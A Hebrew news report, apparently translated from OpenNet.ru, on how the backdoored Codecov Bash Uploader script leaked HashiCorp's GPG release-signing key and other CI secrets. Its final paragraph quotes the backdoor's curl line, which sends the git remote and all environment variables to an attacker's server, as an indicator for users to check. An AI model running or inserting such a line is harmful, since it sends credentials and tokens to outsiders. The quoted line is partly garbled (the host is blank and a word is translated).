הכנסת קוד זדוני לסקריפט Codecov הובילה לפשרה של מפתח PGP HashiCorp

HashiCorp, הידועה בפיתוח כלי הקוד הפתוח Vagrant, Packer, Nomad ו-Terraform, הודיעה על הדלפת מפתח ה-GPG הפרטי המשמש ליצירת חתימות דיגיטליות המאמתות שחרורים. תוקפים שקיבלו גישה למפתח GPG עלולים לבצע שינויים נסתרים במוצרי HashiCorp על ידי אימותם בחתימה דיגיטלית נכונה. יחד עם זאת, נמסר מהחברה כי במהלך הביקורת לא זוהו עקבות לניסיונות לבצע שינויים מסוג זה.

נכון לעכשיו, מפתח GPG שנפרץ בוטל ובמקומו הוכנס מפתח חדש. הבעיה השפיעה רק על אימות באמצעות הקבצים SHA256SUM ו-SHA256SUM.sig, ולא השפיעה על יצירת חתימות דיגיטליות עבור חבילות Linux DEB ו-RPM שסופקו דרך releases.hashicorp.com, כמו גם מנגנוני אימות שחרור עבור macOS ו-Windows (AuthentiCode) .

הדליפה התרחשה עקב שימוש בסקריפט Codecov Bash Uploader (codecov-bash) בתשתית, שנועד להוריד דוחות כיסוי ממערכות אינטגרציה מתמשכות. במהלך המתקפה על חברת Codecov, הוסתרה דלת אחורית בסקריפט שצוין, דרכה נשלחו סיסמאות ומפתחות הצפנה לשרת התוקפים.

כדי לפרוץ, התוקפים ניצלו שגיאה בתהליך יצירת תמונת Codecov Docker, שאפשרה להם לחלץ נתוני גישה ל-GCS (Google Cloud Storage), הנחוצים כדי לבצע שינויים בסקריפט Bash Uploader המופץ מה-codecov.io אתר אינטרנט. השינויים בוצעו עוד ב-31 בינואר, לא זוהו במשך חודשיים ואיפשרו לתוקפים לחלץ מידע המאוחסן בסביבות מערכות אינטגרציה רציפות של לקוחות. באמצעות הקוד הזדוני שנוסף, התוקפים יכלו להשיג מידע על מאגר Git שנבדק וכל משתני הסביבה, כולל אסימונים, מפתחות הצפנה וסיסמאות המועברות למערכות אינטגרציה מתמשכות כדי לארגן גישה לקוד יישומים, מאגרים ושירותים כגון Amazon Web Services ו-GitHub.

בנוסף לשיחה הישירה, נעשה שימוש בסקריפט Codecov Bash Uploader כחלק ממעלים אחרים, כמו Codecov-action (Github), Codecov-circleci-orb ו-Codecov-bitrise-step, שגם המשתמשים שלהם מושפעים מהבעיה. לכל המשתמשים ב-codecov-bash ומוצרים נלווים מומלץ לבצע ביקורת על התשתיות שלהם, כמו גם לשנות סיסמאות ומפתחות הצפנה. אתה יכול לבדוק נוכחות של דלת אחורית בסקריפט על ידי נוכחות הקו curl -sm 0.5 -d "$(git remote -v)<<<<<< ENV $(env)" http:// /upload/v2 || נָכוֹן

מקור: OpenNet.ru